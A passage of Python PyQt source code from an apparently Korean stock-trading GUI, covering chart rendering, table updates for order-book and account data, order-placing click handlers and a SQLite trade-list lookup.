LastCandlestickItem(df) self.dict_ctpg[gubun][0].addItem(self.dict_mcpg_lastchuse[gubun]) self.dict_ctpg[gubun][0].addItem(self.dict_mcpg_lastmoveavg[gubun]) self.dict_ctpg[gubun][0].addItem(self.dict_mcpg_lastcandlestick[gubun]) if gubun == ui_num['차트P5'] and self.mode1 == 2: for i, index2 in enumerate(df.index): if df['매수체결가'][index2] != '': for price in df['매수체결가'][index2].split(';'): arrow = pg.ArrowItem(angle=-180, tipAngle=30, baseAngle=20, headLen=20, tailLen=10, tailWidth=2, pen=None, brush='r') arrow.setPos(i, int(price)) self.dict_ctpg[gubun][0].addItem(arrow) text = pg.TextItem(anchor=(1, 0.5), color=color_fg_bt, border=color_bg_bt, fill=color_bg_ld) text.setFont(qfont1) text.setPos(i - 1, int(price)) text.setText(price) self.dict_ctpg[gubun][0].addItem(text) if df['매도체결가'][index2] != '': for price in df['매도체결가'][index2].split(';'): arrow = pg.ArrowItem(angle=-180, tipAngle=30, baseAngle=20, headLen=20, tailLen=10, tailWidth=2, pen=None, brush='b') arrow.setPos(i, int(price)) self.dict_ctpg[gubun][0].addItem(arrow) text = pg.TextItem(anchor=(1, 0.5), color=color_fg_bt, border=color_bg_bt, fill=color_bg_ld) text.setFont(qfont1) text.setPos(i - 1, int(price)) text.setText(price) self.dict_ctpg[gubun][0].addItem(text) self.dict_mcpg_infiniteline[gubun] = pg.InfiniteLine(angle=0) self.dict_mcpg_infiniteline[gubun].setPen(pg.mkPen(color_cifl)) self.dict_mcpg_infiniteline[gubun].setPos(c) self.dict_ctpg[gubun][0].addItem(self.dict_mcpg_infiniteline[gubun]) xticks = [list(zip(range(len(df.index))[::12], df.index[::12]))] self.dict_ctpg[gubun][0].getAxis('bottom').setTicks(xticks) self.dict_ctpg[gubun][1].addItem(VolumeBarsItem(df)) self.dict_mcpg_lastmoneybar[gubun] = LastVolumeBarItem(x, c, o, v) self.dict_ctpg[gubun][1].addItem(self.dict_mcpg_lastmoneybar[gubun]) self.dict_ctpg[gubun][1].getAxis('bottom').setLabel(text=name) self.dict_ctpg[gubun][1].getAxis('bottom').setTicks(xticks) crosshair(ymin, prec, main_pg=self.dict_ctpg[gubun][0], sub_pg=self.dict_ctpg[gubun][1]) self.dict_mcpg_legend1[gubun] = pg.TextItem(color=color_fg_bt, border=color_bg_bt, fill=color_bg_ld) self.dict_mcpg_legend1[gubun].setFont(qfont1) self.dict_mcpg_legend1[gubun].setPos(-0.25, ymax) self.dict_mcpg_legend1[gubun].setText(getMainLegendText()) self.dict_ctpg[gubun][0].addItem(self.dict_mcpg_legend1[gubun]) self.dict_mcpg_legend2[gubun] = pg.TextItem(color=color_fg_bt, border=color_bg_bt, fill=color_bg_ld) self.dict_mcpg_legend2[gubun].setFont(qfont1) self.dict_mcpg_legend2[gubun].setPos(-0.25, vmax) self.dict_mcpg_legend2[gubun].setText(getSubLegendText()) self.dict_ctpg[gubun][1].addItem(self.dict_mcpg_legend2[gubun]) if gubun not in self.dict_mcpg_name.keys() or self.dict_mcpg_name[gubun] != name: self.dict_ctpg[gubun][0].enableAutoRange(enable=True) self.dict_ctpg[gubun][1].enableAutoRange(enable=True) self.dict_mcpg_name[gubun] = name else: if gubun not in self.dict_mcpg_close.keys() or self.dict_mcpg_close[gubun] != c: self.dict_ctpg[gubun][0].removeItem(self.dict_mcpg_lastchuse[gubun]) self.dict_ctpg[gubun][0].removeItem(self.dict_mcpg_lastmoveavg[gubun]) self.dict_ctpg[gubun][0].removeItem(self.dict_mcpg_lastcandlestick[gubun]) self.dict_mcpg_lastchuse[gubun] = LastChuseItem(df, ymin, ymax) self.dict_mcpg_lastmoveavg[gubun] = LastMoveavgItem(df, gubun) self.dict_mcpg_lastcandlestick[gubun] = LastCandlestickItem(df) self.dict_ctpg[gubun][0].addItem(self.dict_mcpg_lastchuse[gubun]) self.dict_ctpg[gubun][0].addItem(self.dict_mcpg_lastmoveavg[gubun]) self.dict_ctpg[gubun][0].addItem(self.dict_mcpg_lastcandlestick[gubun]) self.dict_mcpg_infiniteline[gubun].setPos(c) self.dict_mcpg_legend1[gubun].setText(getMainLegendText()) self.dict_mcpg_close[gubun] = c self.dict_ctpg[gubun][1].removeItem(self.dict_mcpg_lastmoneybar[gubun]) self.dict_mcpg_lastmoneybar[gubun] = LastVolumeBarItem(x, c, o, v) self.dict_ctpg[gubun][1].addItem(self.dict_mcpg_lastmoneybar[gubun]) self.dict_mcpg_legend2[gubun].setText(getSubLegendText()) def UpdateTick(self, data): gubun = data[0] dict_df = data[1] if gubun == ui_num['단타설정']: df = data[1] self.dict_intg['체결강도차이'] = df['체결강도차이'][0] self.dict_intg['거래대금차이'] = df['거래대금차이'][0] self.dict_intg['평균시간'] = df['평균시간'][0] self.dict_intg['체결강도하한'] = df['체결강도하한'][0] self.dict_intg['누적거래대금하한'] = df['누적거래대금하한'][0] self.dict_intg['등락율상한'] = df['등락율상한'][0] return if gubun == ui_num['tick'] and self.table_tabWidget.currentWidget() != self.gjt_tab: return if len(dict_df) == 0: self.gjt_tableWidget.clearContents() return def changeFormat(text): text = str(text) try: format_data = format(int(text), ',') except ValueError: format_data = format(float(text), ',') if len(format_data.split('.')) >= 2: if len(format_data.split('.')[1]) == 1: format_data += '0' return format_data self.gjt_tableWidget.setRowCount(len(dict_df)) for j, code in enumerate(list(dict_df.keys())): item = QtWidgets.QTableWidgetItem(self.dict_name[code]) item.setTextAlignment(Qt.AlignVCenter | Qt.AlignLeft) self.gjt_tableWidget.setItem(j, 0, item) smavg = dict_df[code]['거래대금'][self.dict_intg['평균시간'] + 1] item = QtWidgets.QTableWidgetItem(changeFormat(smavg)) item.setTextAlignment(Qt.AlignVCenter | Qt.AlignRight) self.gjt_tableWidget.setItem(j, 7, item) chavg = dict_df[code]['체결강도'][self.dict_intg['평균시간'] + 1] item = QtWidgets.QTableWidgetItem(changeFormat(chavg)) item.setTextAlignment(Qt.AlignVCenter | Qt.AlignRight) self.gjt_tableWidget.setItem(j, 8, item) chhigh = dict_df[code]['최고체결강도'][self.dict_intg['평균시간'] + 1] item = QtWidgets.QTableWidgetItem(changeFormat(chhigh)) item.setTextAlignment(Qt.AlignVCenter | Qt.AlignRight) self.gjt_tableWidget.setItem(j, 9, item) for i, column in enumerate(columns_gjt2): if column in ['거래대금', '누적거래대금']: item = QtWidgets.QTableWidgetItem(changeFormat(dict_df[code][column][0]).split('.')[0]) else: item = QtWidgets.QTableWidgetItem(changeFormat(dict_df[code][column][0])) item.setTextAlignment(Qt.AlignVCenter | Qt.AlignRight) # 전략별 글자 색상 변공 비공개 self.gjt_tableWidget.setItem(j, i + 1, item) if len(dict_df) < 46: self.gjt_tableWidget.setRowCount(46) def UpdateLongMidShort(self, data): gubun = data[0] df = data[1] if gubun == ui_num['short'] and self.table_tabWidget.currentWidget() != self.gjs_tab: return gj_tableWidget = self.gjs_tableWidget if len(df) == 0: gj_tableWidget.clearContents() return def changeFormat(text, bijung=False): text = str(text) try: format_data = format(int(text), ',') except ValueError: format_data = format(float(text), ',') if len(format_data.split('.')) >= 2: if bijung: if len(format_data.split('.')[1]) == 3: format_data += '0' elif len(format_data.split('.')[1]) == 2: format_data += '00' elif len(format_data.split('.')[1]) == 1: format_data += '000' else: if len(format_data.split('.')[1]) == 1: format_data += '0' return format_data gj_tableWidget.setRowCount(len(df)) for j, code in enumerate(df.index): for i, column in enumerate(columns_gjs): if column == '종목명': item = QtWidgets.QTableWidgetItem(self.dict_name[code]) item.setTextAlignment(Qt.AlignVCenter | Qt.AlignLeft) else: if column == '비중': item = QtWidgets.QTableWidgetItem(changeFormat(df[column][code], True)) else: item = QtWidgets.QTableWidgetItem(changeFormat(df[column][code])) item.setTextAlignment(Qt.AlignVCenter | Qt.AlignRight) if gubun in [ui_num['short'], ui_num['short'] + 100]: if df['현재가'][code] >= df['시가'][code] + df['변동성'][code]: item.setForeground(color_fg_bt) else: item.setForeground(color_fg_dk) gj_tableWidget.setItem(j, i, item) if len(df) < 46: gj_tableWidget.setRowCount(46) def UpdateTablewidget(self, data): gubun = data[0] df = data[1] if gubun == ui_num['체결강도'] and (self.mode2 != 0 or self.mode1 != 1): return nlist = [ui_num['호가잔고0'], ui_num['매도주문0'], ui_num['체결수량0'], ui_num['호가0'], ui_num['매수주문0']] if gubun in nlist and (self.mode2 != 0 or self.mode1 not in [0, 1]): return nlist = [ui_num['호가잔고1'], ui_num['매도주문1'], ui_num['체결수량1'], ui_num['호가1'], ui_num['매수주문1']] if gubun in nlist and (self.mode2 != 0 or self.mode1 != 0): return def changeFormat(text): text = str(text) try: format_data = format(int(text), ',') except ValueError: format_data = format(float(text), ',') if len(format_data.split('.')) >= 2: if len(format_data.split('.')[1]) == 1: format_data += '0' nnlist = [ui_num['체결수량0'], ui_num['호가0'], ui_num['체결수량1'], ui_num['호가1']] if gubun in nnlist and format_data in ['0', '0.00']: format_data = '' return format_data tableWidget = None if gubun == ui_num['거래합계']: tableWidget = self.tt_tableWidget elif gubun == ui_num['거래목록']: tableWidget = self.td_tableWidget elif gubun == ui_num['잔고평가']: tableWidget = self.tj_tableWidget elif gubun == ui_num['잔고목록']: tableWidget = self.jg_tableWidget elif gubun == ui_num['체결목록']: tableWidget = self.cj_tableWidget elif gubun == ui_num['기업공시']: tableWidget = self.gs_tableWidget elif gubun == ui_num['기업뉴스']: tableWidget = self.ns_tableWidget elif gubun == ui_num['투자자']: tableWidget = self.jj_tableWidget elif gubun == ui_num['재무년도']: tableWidget = self.jm1_tableWidget tableWidget.setHorizontalHeaderLabels(df.columns) elif gubun == ui_num['재무분기']: tableWidget = self.jm2_tableWidget tableWidget.setHorizontalHeaderLabels(df.columns) elif gubun == ui_num['동업종비교']: tableWidget = self.jb_tableWidget tableWidget.setHorizontalHeaderLabels(df.columns) elif gubun == ui_num['체결강도']: tableWidget = self.ch_tableWidget elif gubun == ui_num['당일합계']: tableWidget = self.stn_tableWidget elif gubun == ui_num['당일상세']: tableWidget = self.stl_tableWidget elif gubun == ui_num['누적합계']: tableWidget = self.sgt_tableWidget elif gubun == ui_num['누적상세']: tableWidget = self.sgl_tableWidget elif gubun == ui_num['호가잔고0']: tableWidget = self.hoga_00_hj_tableWidget elif gubun == ui_num['매도주문0']: tableWidget = self.hoga_00_hs_tableWidget elif gubun == ui_num['체결수량0']: tableWidget = self.hoga_00_hc_tableWidget elif gubun == ui_num['호가0']: tableWidget = self.hoga_00_hg_tableWidget elif gubun == ui_num['매수주문0']: tableWidget = self.hoga_00_hb_tableWidget elif gubun == ui_num['호가잔고1']: tableWidget = self.hoga_01_hj_tableWidget elif gubun == ui_num['매도주문1']: tableWidget = self.hoga_01_hs_tableWidget elif gubun == ui_num['체결수량1']: tableWidget = self.hoga_01_hc_tableWidget elif gubun == ui_num['호가1']: tableWidget = self.hoga_01_hg_tableWidget elif gubun == ui_num['매수주문1']: tableWidget = self.hoga_01_hb_tableWidget if tableWidget is None: return if len(df) == 0: tableWidget.clearContents() return tableWidget.setRowCount(len(df)) for j, index in enumerate(df.index): for i, column in enumerate(df.columns): if column == '체결시간': cgtime = df[column][index] if gubun == ui_num['체결강도']: cgtime = f'{cgtime[:2]}:{cgtime[2:4]}:{cgtime[4:6]}' else: cgtime = f'{cgtime[8:10]}:{cgtime[10:12]}:{cgtime[12:14]}' item = QtWidgets.QTableWidgetItem(cgtime) elif column in ['거래일자', '일자']: day = df[column][index] if '.' not in day: day = day[:4] + '.' + day[4:6] + '.' + day[6:] item = QtWidgets.QTableWidgetItem(day) elif column in ['종목명', '주문구분', '호가종목명', '기간', '매도미체결수량', '매수미체결수량', '공시', '정보제공', '언론사', '제목', '전략구분']: item = QtWidgets.QTableWidgetItem(str(df[column][index])) elif gubun in [ui_num['재무년도'], ui_num['재무분기'], ui_num['동업종비교']]: try: item = QtWidgets.QTableWidgetItem(str(df[column][index])) except KeyError: continue elif column not in ['수익률', '등락율', '고저평균대비등락율', '체결강도', '체결강도5분', '체결강도20분', '체결강도60분', '최고체결강도']: item = QtWidgets.QTableWidgetItem(changeFormat(df[column][index]).split('.')[0]) else: item = QtWidgets.QTableWidgetItem(changeFormat(df[column][index])) if column in ['종목명', '호가종목명', '공시', '제목', '구분']: item.setTextAlignment(Qt.AlignVCenter | Qt.AlignLeft) elif column in ['거래횟수', '추정예탁자산', '추정예수금', '보유종목수', '주문구분', '체결시간', '거래일자', '기간', '일자', '매도미체결수량', '매도미체결수량', '정보제공', '언론사', '전략구분']: item.setTextAlignment(Qt.AlignVCenter | Qt.AlignCenter) else: item.setTextAlignment(Qt.AlignVCenter | Qt.AlignRight) if column == '체결수량': if j == 0: item.setIcon(self.icon_totalb) elif j == 21: item.setIcon(self.icon_totals) elif column == '체결강도' and gubun in [ui_num['체결수량0'], ui_num['체결수량1']]: if j == 0: item.setIcon(self.icon_up) elif j == 21: item.setIcon(self.icon_down) elif gubun in [ui_num['호가0'], ui_num['호가1']]: if column == '증감': if j == 0: item.setIcon(self.icon_perb) elif j == 21: item.setIcon(self.icon_pers) elif column == '잔량': if j == 0: item.setIcon(self.icon_totalb) elif j == 21: item.setIcon(self.icon_totals) elif column == '호가': if j == 0: item.setIcon(self.icon_up) elif j == 21: item.setIcon(self.icon_down) else: if gubun == ui_num['호가0']: hj_tableWidget = self.hoga_00_hj_tableWidget else: hj_tableWidget = self.hoga_01_hj_tableWidget if hj_tableWidget.item(0, 0) is not None: o = comma2int(hj_tableWidget.item(0, 7).text()) h = comma2int(hj_tableWidget.item(0, 8).text()) low = comma2int(hj_tableWidget.item(0, 9).text()) if o != 0: if df[column][index] == o: item.setIcon(self.icon_open) elif df[column][index] == h: item.setIcon(self.icon_high) elif df[column][index] == low: item.setIcon(self.icon_low) elif column == '등락율': if j == 0: item.setIcon(self.icon_up) elif j == 21: item.setIcon(self.icon_down) else: if gubun == ui_num['호가0']: hj_tableWidget = self.hoga_00_hj_tableWidget else: hj_tableWidget = self.hoga_01_hj_tableWidget if hj_tableWidget.item(0, 0) is not None: uvi = comma2int(hj_tableWidget.item(0, 13).text()) dvi = comma2int(hj_tableWidget.item(0, 14).text()) if df[column][index] != 0: if j < 11: if df['호가'][index] == uvi: item.setIcon(self.icon_vi) else: if df['호가'][index] == dvi: item.setIcon(self.icon_vi) if '수익률' in df.columns: if df['수익률'][index] >= 0: item.setForeground(color_fg_bt) else: item.setForeground(color_fg_dk) elif gubun == ui_num['체결목록']: if df['주문구분'][index] == '매수': item.setForeground(color_fg_bt) elif df['주문구분'][index] == '매도': item.setForeground(color_fg_dk) elif df['주문구분'][index] in ['매도취소', '매수취소']: item.setForeground(color_fg_bc) elif gubun in [ui_num['기업공시'], ui_num['기업뉴스']]: cname = '공시' if gubun == ui_num['기업공시'] else '제목' if '단기과열' in df[cname][index] or '투자주의' in df[cname][index] or \ '투자경고' in df[cname][index] or '투자위험' in df[cname][index] or \ '거래정지' in df[cname][index] or '환기종목' in df[cname][index] or \ '불성실공시' in df[cname][index] or '관리종목' in df[cname][index] or \ '정리매매' in df[cname][index] or '유상증자' in df[cname][index] or \ '무상증자' in df[cname][index]: item.setForeground(color_fg_bt) else: item.setForeground(color_fg_dk) elif gubun == ui_num['투자자']: if column in ['등락율', '개인투자자', '외국인투자자', '기관계']: if df[column][index] >= 0: item.setForeground(color_fg_bt) else: item.setForeground(color_fg_dk) elif gubun in [ui_num['재무년도'], ui_num['재무분기'], ui_num['동업종비교']]: if '-' not in df[column][index] and column != '구분': item.setForeground(color_fg_bt) else: item.setForeground(color_fg_dk) elif gubun == ui_num['체결강도']: if column == '등락율': if df[column][index] >= 0: item.setForeground(color_fg_bt) else: item.setForeground(color_fg_dk) elif '체결강도' in column: if df[column][index] >= 100: item.setForeground(color_fg_bt) else: item.setForeground(color_fg_dk) elif gubun in [ui_num['체결수량0'], ui_num['체결수량1']]: if column == '체결수량': if j == 0: if df[column][index] > df[column][21]: item.setForeground(color_fg_bt) else: item.setForeground(color_fg_dk) elif j == 21: if df[column][index] > df[column][0]: item.setForeground(color_fg_bt) else: item.setForeground(color_fg_dk) else: if gubun == ui_num['체결수량0']: hg_tableWidget = self.hoga_00_hg_tableWidget else: hg_tableWidget = self.hoga_01_hg_tableWidget if hg_tableWidget.item(0, 0) is not None and hg_tableWidget.item(10, 2).text() != '': c = comma2int(hg_tableWidget.item(10, 2).text()) if df[column][index] > 0: item.setForeground(color_fg_bt) if df[column][index] * c > 90000000: item.setBackground(color_bf_bt) elif df[column][index] < 0: item.setForeground(color_fg_dk) if df[column][index] * c < -90000000: item.setBackground(color_bf_dk) elif column == '체결강도': if df[column][index] >= 100: item.setForeground(color_fg_bt) else: item.setForeground(color_fg_dk) elif gubun in [ui_num['호가0'], ui_num['호가1']]: if '증감' in column: if j == 0: if df[column][index] > 100: item.setForeground(color_fg_bt) else: item.setForeground(color_fg_dk) elif j == 21: if df[column][index] > 100: item.setForeground(color_fg_bt) else: item.setForeground(color_fg_dk) elif df[column][index] > 0: item.setForeground(color_fg_bt) if df[column][index] * df['호가'][10] > 90000000: item.setBackground(color_bf_bt) elif df[column][index] < 0: item.setForeground(color_fg_dk) if df[column][index] * df['호가'][11] < -90000000: item.setBackground(color_bf_dk) elif column == '잔량': if j == 0: if df[column][index] > df[column][21]: item.setForeground(color_fg_bt) else: item.setForeground(color_fg_dk) elif j == 21: if df[column][index] > df[column][0]: item.setForeground(color_fg_bt) else: item.setForeground(color_fg_dk) elif j < 11: item.setForeground(color_fg_bt) else: item.setForeground(color_fg_dk) elif column in ['호가', '등락율']: if df['등락율'][index] > 0: item.setForeground(color_fg_bt) elif df['등락율'][index] < 0: item.setForeground(color_fg_dk) if column == '호가' and df[column][index] != 0: if gubun == ui_num['호가0']: hj_tableWidget = self.hoga_00_hj_tableWidget else: hj_tableWidget = self.hoga_01_hj_tableWidget if hj_tableWidget.item(0, 0) is not None: c = comma2int(hj_tableWidget.item(0, 2).text()) if j not in [0, 21] and df[column][index] == c: item.setBackground(color_bf_bt) if hj_tableWidget.item(0, 1).text() != '0': gap = df[column][19] - df[column][20] bp = comma2int(hj_tableWidget.item(0, 1).text()) if df[column][index] <= bp < df[column][index] + gap: item.setBackground(color_bf_dk) elif gubun in [ui_num['매도주문0'], ui_num['매도주문1'], ui_num['매수주문0'], ui_num['매수주문1']]: item.setForeground(color_fg_bt) item.setBackground(color_bg_bt) tableWidget.setItem(j, i, item) if len(df) < 13 and gubun in [ui_num['거래목록'], ui_num['잔고목록'], ui_num['체결목록']]: tableWidget.setRowCount(13) elif len(df) < 22 and gubun == ui_num['기업공시']: tableWidget.setRowCount(22) elif len(df) < 12 and gubun == ui_num['기업뉴스']: tableWidget.setRowCount(12) elif len(df) < 28 and gubun == ui_num['체결강도']: tableWidget.setRowCount(28) elif len(df) < 31 and gubun == ui_num['당일상세']: tableWidget.setRowCount(31) elif len(df) < 41 and gubun == ui_num['누적상세']: tableWidget.setRowCount(41) @QtCore.pyqtSlot(int) def CellClicked_1(self, row): item = self.hoga_00_hj_tableWidget.item(0, 0) if item is None: return name = item.text() if self.hoga_00_hj_tableWidget.item(0, 11).text() == '': return jc = comma2int(self.hoga_00_hj_tableWidget.item(0, 11).text()) if self.hoga_00_hg_tableWidget.item(row, 2).text() == '': return hg = comma2int(self.hoga_00_hg_tableWidget.item(row, 2).text()) bper = 0 if self.hoga_00_sell_radioButton_01.isChecked(): bper = 10 elif self.hoga_00_sell_radioButton_02.isChecked(): bper = 25 elif self.hoga_00_sell_radioButton_03.isChecked(): bper = 33 elif self.hoga_00_sell_radioButton_04.isChecked(): bper = 50 elif self.hoga_00_sell_radioButton_05.isChecked(): bper = 75 elif self.hoga_00_sell_radioButton_06.isChecked(): bper = 100 if bper == 0: windowQ.put([2, '시스템 명령 오류 알림 - 매도비율을 선택하십시오.']) return oc = int(jc * (bper / 100)) if oc == 0: oc = 1 code = self.dict_code[self.hoga_00_hj_tableWidget.item(0, 0).text()] order = ['매도', '4989', '', 2, code, oc, hg, '00', '', hg, name] workerQ.put(order) @QtCore.pyqtSlot(int) def CellClicked_2(self, row): item = self.hoga_00_hj_tableWidget.item(0, 0) if item is None: return name = item.text() if self.hoga_00_hg_tableWidget.item(row, 2).text() == '': return hg = comma2int(self.hoga_00_hg_tableWidget.item(row, 2).text()) og = 0 if self.hoga_00_buy_radioButton_01.isChecked(): og = 100000 elif self.hoga_00_buy_radioButton_02.isChecked(): og = 500000 elif self.hoga_00_buy_radioButton_03.isChecked(): og = 1000000 elif self.hoga_00_buy_radioButton_04.isChecked(): og = 5000000 elif self.hoga_00_buy_radioButton_05.isChecked(): og = 10000000 elif self.hoga_00_buy_radioButton_06.isChecked(): og = 50000000 if og == 0: windowQ.put([2, '시스템 명령 오류 알림 - 매수금액을 선택하십시오.']) return oc = int(og / hg) code = self.dict_code[name] order = ['매수', '4989', '', 1, code, oc, hg, '00', '', hg, name] workerQ.put(order) @QtCore.pyqtSlot(int) def CellClicked_3(self, row): item = self.hoga_01_hj_tableWidget.item(0, 0) if item is None: return name = item.text() if self.hoga_01_hj_tableWidget.item(0, 11).text() == '': return jc = comma2int(self.hoga_01_hj_tableWidget.item(0, 11).text()) if self.hoga_01_hg_tableWidget.item(row, 2).text() == '': return hg = comma2int(self.hoga_01_hg_tableWidget.item(row, 2).text()) bper = 0 if self.hoga_01_sell_radioButton_01.isChecked(): bper = 10 elif self.hoga_01_sell_radioButton_02.isChecked(): bper = 25 elif self.hoga_01_sell_radioButton_03.isChecked(): bper = 33 elif self.hoga_01_sell_radioButton_04.isChecked(): bper = 50 elif self.hoga_01_sell_radioButton_05.isChecked(): bper = 75 elif self.hoga_01_sell_radioButton_06.isChecked(): bper = 100 if bper == 0: windowQ.put([2, '시스템 명령 오류 알림 - 매도비율을 선택하십시오.']) return oc = int(jc * (bper / 100)) if oc == 0: oc = 1 code = self.dict_code[name] order = ['매도', '4989', '', 2, code, oc, hg, '00', '', hg, name] workerQ.put(order) @QtCore.pyqtSlot(int) def CellClicked_4(self, row): item = self.hoga_01_hj_tableWidget.item(0, 0) if item is None: return name = item.text() if self.hoga_01_hg_tableWidget.item(row, 2).text() == '': return hg = comma2int(self.hoga_01_hg_tableWidget.item(row, 2).text()) og = 0 if self.hoga_01_buy_radioButton_01.isChecked(): og = 100000 elif self.hoga_01_buy_radioButton_02.isChecked(): og = 500000 elif self.hoga_01_buy_radioButton_03.isChecked(): og = 1000000 elif self.hoga_01_buy_radioButton_04.isChecked(): og = 5000000 elif self.hoga_01_buy_radioButton_05.isChecked(): og = 10000000 elif self.hoga_01_buy_radioButton_06.isChecked(): og = 50000000 if og == 0: windowQ.put([2, '시스템 명령 오류 알림 - 매수금액을 선택하십시오.']) return oc = int(og / hg) code = self.dict_code[name] order = ['매수', '4989', '', 1, code, oc, hg, '00', '', hg, name] workerQ.put(order) @QtCore.pyqtSlot(int, int) def CellClicked_5(self, row, col): if col > 1: return item = self.td_tableWidget.item(row, 0) if item is None: return code = self.dict_code[item.text()] self.PutWorkerQ(code, col) @QtCore.pyqtSlot(int, int) def CellClicked_6(self, row, col): if col > 1: return item = self.jg_tableWidget.item(row, 0) if item is None: return code = self.dict_code[item.text()] self.PutWorkerQ(code, col) @QtCore.pyqtSlot(int, int) def CellClicked_7(self, row, col): if col > 1: return item = self.cj_tableWidget.item(row, 0) if item is None: return code = self.dict_code[item.text()] self.PutWorkerQ(code, col) @QtCore.pyqtSlot(int, int) def CellClicked_8(self, row, col): if col > 1: return item = self.gjt_tableWidget.item(row, 0) if item is None: return code = self.dict_code[item.text()] self.PutWorkerQ(code, col) @QtCore.pyqtSlot(int, int) def CellClicked_9(self, row, col): if col > 1: return item = self.gjs_tableWidget.item(row, 0) if item is None: return code = self.dict_code[item.text()] self.PutWorkerQ(code, col) @QtCore.pyqtSlot(int, int) def CellClicked_10(self, row, col): if col > 1: return item = self.stl_tableWidget.item(row, 1) if item is None: return code = self.dict_code[item.text()] self.PutWorkerQ(code, col) def PutWorkerQ(self, code, col): if self.mode2 != 0: return if self.mode1 == 0: if self.mode0 == 1: self.ButtonClicked_4(0) if col == 0: workerQ.put(f"현재가{ui_num['차트P1']} {code}") elif col == 1: workerQ.put(f"현재가{ui_num['차트P3']} {code}") elif self.mode1 == 1: workerQ.put(f"현재가{ui_num['차트P0']} {code}") elif self.mode1 == 2: if self.table_tabWidget.currentWidget() == self.st_tab: date = self.calendarWidget.selectedDate() tradeday = date.toString('yyyyMMdd') elif 0 < int(strf_time('%H%M%S')) < 90000: tradeday = strf_time('%Y%m%d', timedelta_day(-1)) else: tradeday = strf_time('%Y%m%d') workerQ.put(f"현재가{ui_num['차트P5']} {tradeday} {code}") def CalendarClicked(self): date = self.calendarWidget.selectedDate() searchday = date.toString('yyyyMMdd') con = sqlite3.connect(db_stg) df = pd.read_sql(f"SELECT * FROM tradelist WHERE 체결시간 LIKE '{searchday}%'", con) con.close() if len(df) > 0: df = df.set_index('index') df.sort_values(by=['체결시간'], ascending=True, inplace=True) df = df[['체결시간', '종목명', '매수금액', '매도금액', '주문수량', '수익률', '수익금', '전략구분']].copy() nbg, nsg = df['매수금액'].sum(), df['매도금액'].sum() sp = round((nsg / nbg - 1) * 100, 2) npg, nmg, nsig = df[df['수익금'] > 0]['수익금'].sum(), df[df['수익금'] < 0]['수익금'].sum(), df['수익금'].sum() df2 = pd.DataFrame(columns=columns_sn) df2.at[0] = searchday, nbg, nsg, npg, nmg, sp, nsig else: df = pd.DataFrame(columns=columns_st) df2 = pd.DataFrame(columns=columns_sn) windowQ.put([ui_num['당일합계'], df2]) windowQ.put([ui_num['당일상세'], df]) def ButtonClicked_1(self, gubun): if gubun in ['시장가매도0', '매도취소0']: hj_tableWidget = self.hoga_00_hj_tableWidget hg_tableWidget = self.hoga_00_hg_tableWidget sell_radioButton_01 = self.hoga_00_sell_radioButton_01 sell_radioButton_02 = self.hoga_00_sell_radioButton_02 sell_radioButton_03 = self.hoga_00_sell_radioButton_03 sell_radioButton_04 = self.hoga_00_sell_radioButton_04 sell_radioButton_05 = self.hoga_00_sell_radioButton_05 sell_radioButton_06 = self.hoga_00_sell_radioButton_06 else: hj_tableWidget = self.hoga_01_hj_tableWidget hg_tableWidget = self.hoga_01_hg_tableWidget sell_radioButton_01 = self.hoga_01_sell_radioButton_01 sell_radioButton_02 = self.hoga_01_sell_radioButton_02 sell_radioButton_03 = self.hoga_01_sell_radioButton_03 sell_radioButton_04 = self.hoga_01_sell_radioButton_04 sell_radioButton_05 = self.hoga_01_sell_radioButton_05 sell_radioButton_06 = self.hoga_01_sell_radioButton_06 item = hj_tableWidget.item(0, 0) if item is None: return code = self.dict_code[item.text()] if '시장가매도' in gubun: bper = 0 if sell_radioButton_01.isChecked(): bper = 1 elif sell_radioButton_02.isChecked(): bper = 2 elif sell_radioButton_03.isChecked(): bper = 3 elif sell_radioButton_04.isChecked(): bper = 5 elif sell_radioButton_05.isChecked(): bper = 7.5 elif sell_radioButton_06.isChecked(): bper = 10 if bper == 0: windowQ.put([1, '시스템 명령 오류 알림 - 매도비율을 선택하십시오.']) return c = comma2int(hg_tableWidget.item(11, 2).text()) if hj_tableWidget.item(0, 11).text() == '': return jc = comma2int(hj_tableWidget.item(0, 11).text()) oc = int(jc * (bper / 10)) if oc == 0: oc = 1 name = hj_tableWidget.item(0, 0).text() order = ['매도', '4989', '', 2, code, oc, 0, '03', '', c, name] workerQ.put(order) elif '매도취소' in gubun: order = f'매도취소 {code}' workerQ.put(order) def ButtonClicked_2(self, gubun): if gubun in ['시장가매수0', '매수취소0']: hj_tableWidget = self.hoga_00_hj_tableWidget hg_tableWidget = self.hoga_00_hg_tableWidget buy_radioButton_01 = self.hoga_00_buy_radioButton_01 buy_radioButton_02 = self.hoga_00_buy_radioButton_02 buy_radioButton_03 = self.hoga_00_buy_radioButton_03 buy_radioButton_04 = self.hoga_00_buy_radioButton_04 buy_radioButton_05 = self.hoga_00_buy_radioButton_05 buy_radioButton_06 = self.hoga_00_buy_radioButton_06 else: hj_tableWidget = self.hoga_01_hj_tableWidget hg_tableWidget = self.hoga_01_hg_tableWidget buy_radioButton_01 = self.hoga_01_buy_radioButton_01 buy_radioButton_02 = self.hoga_01_buy_radioButton_02 buy_radioButton_03 = self.hoga_01_buy_radioButton_03 buy_radioButton_04 = self.hoga_01_buy_radioButton_04 buy_radioButton_05 = self.hoga_01_buy_radioButton_05 buy_radioButton_06 = self.hoga_01_buy_radioButton_06 item = hj_tableWidget.item(0, 0) if item is None: return code = self.dict_code[item.text()] if '시장가매수' in gubun: og = 0 if buy_radioButton_01.isChecked(): og = 100000 elif buy_radioButton_02.isChecked(): og = 500000 elif buy_radioButton_03.isChecked(): og = 1000000 elif buy_radioButton_04.isChecked(): og = 5000000 elif buy_radioButton_05.isChecked(): og = 10000000 elif buy_radioButton_06.isChecked(): og = 50000000 if og == 0: windowQ.put([1, '시스템 명령 오류 알림 - 매수금액을 선택하십시오.']) return c = comma2int(hg_tableWidget.item(10, 2).text()) oc = int(og / c) name = hj_tableWidget.item(0, 0).text() order = ['매수', '4989', '', 1, code, oc, 0, '03', '', c, name] workerQ.put(order) elif '매수취소' in gubun: order = f'매수취소 {code}' workerQ.put(order) def ButtonClicked_3(self, cmd): if cmd == '설정': text1 = self.sj_lineEdit_01.text() text2 = self.sj_lineEdit_02.text() if text1 == '' or text2 == '': windowQ.put([1, '시스템 명령 오류 알림 - 텔레그램 봇넘버 및 사용자 아이디를 입력하십시오.']) return workerQ.put(f'{cmd} {text1} {text2}') elif '집계' in cmd: con = sqlite3.connect(db_stg) df = pd.read_sql('SELECT * FROM totaltradelist', con) con.close() df = df[::-1] if len(df) > 0: sd = strp_time('%Y%m%d', df['index'][df.index[0]]) ld = 